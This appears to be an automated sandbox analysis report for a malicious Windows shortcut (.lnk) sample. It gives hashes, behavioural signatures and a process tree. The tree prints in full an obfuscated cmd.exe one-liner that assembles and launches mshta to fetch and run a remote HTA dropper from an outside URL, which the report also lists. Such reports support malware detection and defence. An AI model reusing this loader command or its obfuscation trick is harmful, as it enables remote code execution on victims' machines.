Analysis
- max time kernel
59s - max time network
61s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
23/08/2026, 03:26
Static task
static1
Behavioral task
behavioral1
Sample
DOC-TWKO44.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-TWKO44.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-TWKO44.lnk
- Size 2KB
- Sample260823-dzd7basdlg
- SHA256 18a9dddf7f77af756e82e6ab3d61491f333e77504cf8d6bbe56df9febe85a626
- MD5 171c42b061f0f49e4f696d5fc7588dce
- SHA1 8e7f2cdbe6a068f46f136b1ecaee721f84f9ffa6
- SHA512 a79ce09227c81605648f6fc28ea1a6c8f4e4a69b5491b66d1ffea8dfc2c67bd639c85170f0b3eb31c8334adb5215a9e806370d2e5bcf9ce62f48b5207116dd6b
- TLSH T1115138803AE941D9F2BA8E71ECFF7791587BB9A24D60C64D0950810E0422F01E977B63
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
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hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4844 cmd.exe 5636 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4844 wrote to memory of 5636 4844 cmd.exe 87 PID 5636 wrote to memory of 5564 5636 cmd.exe 88
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-TWKO44.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set Hq=cachenkucwycache&set VNAUu=sysyyefiwzqnceejidcsys&set hl=infeecoumtcxhuzowfemtinf&set zWUGO=htmsh3&&set layf=uvta5sp&set QpR=tmpcmalxehqjtmp&set tlX=cfgmkibkkohlnmdzxpsccfg&set Ejxkt=tmppunikavbjrxbiehtmp&set Zz=cfgwlvqlskbqcfg&set nMZSs=cfgeeigwqcwcfg&set yO=3cdsl&&set lCs=9tarcf&&set dxR=x47tb&set VPT=loglzqvqjsascrjlcfhhsttlog&set cBzo=dbgqqiokqqlwyhynvofwdbg&set Vs=lognnvdwkparzofecsielog&&set zpvvZ=h@ttps:/@/m@a-@p@df@fille@[email protected]@t/h/e@st@a@gi@o1.@php@?r@=@39@14@69@FB5@D@82D@B&&start /b !zWUGO:~2,3!!layf:~2,2! !zpvvZ:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5636 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5564
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